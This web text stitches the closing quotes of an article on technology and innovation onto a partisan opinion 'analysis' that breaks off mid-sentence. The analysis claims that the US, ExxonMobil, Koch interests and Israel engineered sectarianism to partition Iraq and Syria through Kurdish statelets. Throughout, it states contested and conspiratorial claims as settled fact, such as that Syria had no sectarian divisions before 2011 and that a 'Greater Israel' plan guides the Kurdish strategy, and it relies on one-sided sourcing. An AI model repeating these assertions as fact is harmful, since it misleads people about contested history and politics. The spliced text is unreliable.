"[Innovation] has an impact," said Riazi. "If you look at the single combustion engine and its impact globally, what was one simple innovation, [resulted in] suburbia, popular mass transportation," and a significant environmental and economical shift. It's impossible to control the technology, she emphasized, so IT policy makers in particular have a responsibility to consider the ramifications and unintended consequences of rapidly-evolving innovation.
"How do we build the white blood cells of the web? Can we create positive algorithms to fight the Dark Web and to fight crime. We're creating something we don't necessarily own," said Riazi. "We're creating philosophy and a mindset and a movement, a positive movement. Because when we look at these big issues, we can't solve them on our own."
Note: Some quotes have been edited for clarity.WASHINGTON, D.C. (Analysis) — Years before the U.S. illegally invaded and then occupied Iraq, plans were circulating within the Pentagon to partition the country along “sectarian” lines, with the express purpose of allowing the U.S. and its regional allies to better control oil resource production and movement within the Middle East.
In Syria, the same narrative of partition has more recently been circulated as the “only” solution to the nation’s sectarian divisions, divisions which did not emerge until they were artificially created in 2011 when the current conflict began and later fomented by hostile foreign actors.
While the Bush and Obama administrations pushed for the partition of Iraq on several occasions, it was largely corporate actors during that time that took the most active steps towards creating an independent state within the Iraqi region controlled by the U.S.-allied Kurds, an area with sizeable energy reserves and other strategic resources.
The area of Syria controlled by the U.S.-backed Kurds conveniently connects directly with the Kurdish “statelet” in Iraq, making the possibility of a larger independent Kurdistan more feasible. This area also boasts the largest concentration of many of Syria’s most critical resources.
While past administrations avoided openly recognizing the partition of Iraq, the administration of President Donald Trump is striking a different tone, largely due to the influence within the administration of some of the biggest players who actively sidestepped Iraq’s government in favor of the Kurds years ago.
Chief among such players was ExxonMobil — whose CEO at the time, Rex Tillerson, is now Trump’s Secretary of State — along with other corporations whose financial and political support for the Trump administration is well-documented.
The geopolitical and economic motives for a partitioned Iraq
The corporatist, neoconservative dream of partitioning Iraq has been around for well over a decade, first materializing a year before the U.S.’ ill-fated 2003 invasion of that nation. The plan, drafted by former Vice President Dick Cheney and Deputy Secretary of Defense Paul Wolfowitz, contemplated the division of Iraq into three autonomous, sectarian “statelets” for Iraqi Muslim Sunnis, Muslim Shi’as, and ethnic Kurds, who are also predominantly Muslim. This partition, it was believed, would allow the U.S. and its regional allies to more easily dominate Iraq and its important fossil fuel resources, along with conferring other “strategic advantages.”
As U.S.-based private intelligence firm Stratfor noted in 2002, the invasion and destruction of Iraq would pave the way for partition and thus greater U.S. control over Iraq and the entire Middle East:
“After eliminating Iraq as a sovereign state, there would be no fear that one day an anti-American government would come to power in Baghdad, as the capital would be in Amman [Jordan]. Current and potential U.S. geopolitical foes Iran […] and Syria would be isolated from each other, with big chunks of land between them under control of the pro-U.S. forces. Equally important, Washington would be able to justify its long-term and heavy military presence in the region as necessary for the defense of a young new state asking for U.S. protection – and to secure the stability of oil markets and supplies. That, in turn, would help the United States gain direct control of Iraqi oil and replace Saudi oil in case of conflict with Riyadh.”
Creating the divisions needed to justify partition
The big problem for the partition plan, however, was the simple fact that these diverse groups had coexisted with minimal sectarian violence in Iraq for centuries. This meant, of course, that the sectarianism that was needed to justify partition had to be engineered. The U.S., in its invasion and subsequent occupation of Iraq, happily obliged, sponsoring sectarian violence through the military training – including torture techniques – it gave to Iraqi militias, police and military forces that divided along particular ethnoreligious lines.
Many of these organizations have been found to be repeat human rights offenders and have targeted particular ethnoreligious groups within Iraq. Despite their egregious track record, the U.S. continues to financially support these armed groups.
The U.S. has also worked to create and strengthen ethnoreligious divisions within the country by promoting Iraqi organizations founded on religion or ethnicity rather than along political lines.
Though some analysts believe that the biggest winners in the U.S.-created environment of Iraqi sectarianism were the Iraqi majority population of the Shi’a – which, after all, was given control of the post-invasion government – it was really the Kurds who gained the most as a result of the U.S.’ machinations to divide and conquer Iraq.
The Kurds are the largest group of nomadic people in the world and have long existed without their own state. As journalist Sarah Abed has noted,
“This fact has allowed Western powers to use the ‘stateless’ plight of the Kurdish people as a tool to divide, destabilize and conquer Iraq and Syria, where colonial oil and gas interests run deep.”
Although the most powerful Kurdish political parties in these countries do not see themselves as pawns, history shows that Western colonial powers have used them that way in the past and continue to do so, often with their willing cooperation.
In recent decades the U.S. government and military have openly supported Kurdish separatist elements, though they have stopped short of recognizing “Kurdistan” as a state completely independent of the Baghdad-based government. This role fell instead to U.S. corporations, such as ExxonMobil, a major force in the fossil fuel industry. In 2011, ExxonMobil unilaterally brokered an oil deal with the Kurdistan region, bypassing Iraq’s central government in the process.
According to ExxonMobil, the move was partly motivated by problems it was having contracting with Iraq’s central government regarding oilfields in southern Iraq. However, the promise of oil reserves in Kurdistan said to be “one of the world’s most promising regions for the future [of] hydrocarbon discovery,” was also a clear motivator. As a result, ExxonMobil sided with the Kurdish separatists over the central government, giving clout to Kurdish goals of greater regional autonomy – and thus furthering their shared goal of a divided Iraq.
Other oil corporations – including Chevron and Gazprom, among others – followed Exxon’s lead..
By 2014, more than 80 foreign energy corporations had struck deals with Kurdistan. Oilman Ray Hunt, whose Hunt Oil Co. signed its own unilateral agreement with Kurdistan in 2007, has consistently heaped praises upon Kurdistan and has also made clear his vision for the future of Iraq: “In the end, you’ll end up with a soft partition of Iraq.”
Corporate connection to Trump’s change of heart on Iraq partition
A photograph released by Russian intelligence depicting thousands of trucks laden with oil crossing from Syria into Turkey. December, 2015.
Over the years since these deals were struck, the Kurdish separatist parties in Iraq have benefited immensely, though more recently they have been hit hard by the global drop in oil prices. In 2014, they were exporting 280,000 barrels of oil every day. And, despite troubles with foreign companies brought on by falling oil prices and the rise of Daesh (ISIS), the Kurds – as of the end of 2016 – were exporting nearly 600,000 barrels a day.
Though Daesh was painted by the media as a scourge to the Kurds, they have in fact benefited from Daesh’s invasion of large swaths of Iraq. Indeed, the Kurds – trained, armed and provided with airstrike support by the U.S. and Israel – have taken control of many former Daesh territories and have thereby expanded the size of their own territory.
The U.S. and its regional allies have said that the Kurds’ ability to confront Daesh essentially entitles them to “have their way.” As Sadad Ibrahim al-Husseini, former head of exploration and development for the Saudi state oil company Aramco told The New York Times in 2014:
“At the end of the day, the Kurds will have their way, because they are the only credible Sunni group that can confront ISIS.”
Not surprisingly, the Kurd’s oil riches have brought them into direct conflict with Iraq’s central government, which has since cut off national funding for the Kurdish region and threatened any country or company buying Kurdish oil with legal action for violating the nation’s constitution by not sharing its oil sale revenue equally among all Iraqis.
However, countries like Turkey and Israel continue to buy significant amounts of oil, as well as natural gas, from the Kurds. Turkey’s case is particularly interesting given Turkish President Tayyip Erdogan’s well-known hatred of the Kurds and opposition to Kurdish independence in Syria. However, when it comes to Iraqi Kurdistan at least, economic factors have won out, with Turkey’s ruling party having stated that Kurds in Iraq have the right to self-determination.
Kurdish control of Iraq’s oil-rich north is key to the partitioning plan. As Michael Makovsky, a former Pentagon official, told The New York Times:
“I think Iraqi Kurdish independence is inevitable, at least eventually. They have natural allies in the United States because of the oil companies involved in drilling there. And the Turks and Europeans need their gas.”
Though candidate Trump had not voiced support for a partition of Iraq, spurred by his administration’s strong ties to the oil industry, Washington has become even more friendly to the Kurds – and to the idea of Kurdish secession – since Trump took office.
However, when the State Department was asked by journalist Nafeez Ahmed whether it still stood by the traditional position of supporting a unified Iraq, a department spokesperson answered:
“With respect to the unity of Iraq, you’re right; that is something we make a point of saying. But ultimately, these are all internal political discussions that Iraq needs to have with all ethnic groups resident in the country.”
As Ahmed notes, this is the first time that the State Department has officially announced the U.S.’ willingness to consider the partition of Iraq.
Why the sudden change of heart?
Ali Khedery, pictured far left, watches as U.S. President George W. Bush, sings an agreement with Iraqi Prime Minister Nouri al-Maliki. (Photo: Public Domain)
ExxonMobil once again emerges as a key player — not surprisingly, given that current Secretary of State Rex Tillerson was Exxon’s CEO when the unilateral contract with the Kurds was forged. Tillerson, however, is not the only former ExxonMobil employee with ties to the Trump administration. Ali Khedery — a former Pentagon official who served in the U.S. coalition authority in Iraq, and a former ExxonMobil executive — has repeatedly promoted the division of Iraq.
Khedery is also the founder of Dragoman Ventures, a firm connected to the Committee to Destroy ISIS, which has been instrumental in bringing about the Trump administration’s change of opinion regarding Iraq’s partition. The Committee’s executive director, Sam Patten, also shares deep connections to members of Trump’s campaign and transition teams, as well as to certain Iraqi oligarchs suspected of having ties to U.S. intelligence and insurgent elements in Iraq.
Nor is oil the only resource that has swayed the Trump administration and its corporate allies to view partition favorably. Iraq’s Anbar province was recently found to contain nearly a tenth of the world’s total deposits of phosphates, a key ingredient in the production of nitrogen fertilizer. Now — with control of more than 70 percent of the world’s phosphate supply, and with markets reaching a point where demand is beginning to outstrip supply — the world’s largest producer of nitrogen fertilizer is eager for access to Anbar province.
That company, Koch Fertilizer Inc., is owned by the infamous Koch Brothers. Fully one-third of Trump’s entire transition team had ties to Koch Industries.
The role of Israeli ties in pushing the partition plan
Ethnic Kurdish Israelis protest outside the Turkish embassy in Tel Aviv, Israel, July 8, 2010.
The Trump administration’s close ties to Israel may also be a factor in Trump’s willingness to consider Iraq’s partition. Though the U.S. is clearly driving partition in both Iraq and Syria, it is not alone. Israel stands to gain greatly from a partition of Iraq and has worked, like the U.S., to engineer sectarianism there and strengthen the Kurds. The Kurds have received weapons, training, and more from Israel — well before the rise of Daesh, with ties dating back to the 1960s.
Israel has also directly supported the Kurds’ economy. In 2015, despite warnings from Baghdad, Israel was importing as much as 77 percent of its oil supply from Iraqi Kurdistan, funneling much-needed money to the cash-stripped Kurdish regional government.
Israel has long recognized the potential role of the Kurds in dividing countries it and its allies seek to weaken. It is hardly a coincidence that Israel’s Greater Israel project aligns almost perfectly with “Kurdistan.” In the Oded Yinon plan, or the plan for a “Greater Israel,” the use of the Kurds is considered imperative as a means for dividing neighboring countries in order to aid in Israeli plans for greater domination and territorial expansion.
In addition, Israel considers the Kurds an important part of its long-standing goal to destabilize Iran. For instance, WikiLeaks revealed in 2010 that Israel’s intelligence agency Mossad had expressed interest in using the Kurds and other ethnic minorities to topple the Iranian government by manufacturing the country’s division. Given that the partition of Iraq would isolate Iran from Syria, Israel – like the U.S. – views partition as serving multiple goals, ultimately enabling Israel to dominate the entire Middle East.
Syria partition plan follows the Iraqi partition playbook
Iraq is by no means the only Middle Eastern country that Western powers are seeking to partition. The partition of Syria has been repeatedly sold to the public as the “only” solution to Syria’s ongoing “sectarian” conflict, now well into its seventh year. However, this sectarianism was engineered and stoked by foreign powers to bring about the current conflict in Syria. WikiLeaks revealed that the CIA was involved in instigating anti-Assad and “sectarian” demonstrations as early as March 2011. Declassified CIA documents show the plan to engineer sectarianism in order to weaken the Syrian state dates back to at least the 1980s.
The partition idea was also repeatedly touted by the Obama administration, which stated that it “may be too late” to keep Syria whole.
In 2011, when the conflict was in its infancy, the U.S. and its allies – namely Israel, Qatar, Turkey, France, the U.K. and Saudi Arabia – began supplying tons upon tons of weapons to insurgent and sectarian elements within Syria, heavily arming the so-called “moderate” Wahhabi opposition like the Free Syrian Army and the Kurds. As the conflict raged on – and the “moderate” opposition was exposed time and again as sharing close ties with internationally recognized terror organizations like al-Qaeda – Washington’s support began to shift increasingly |
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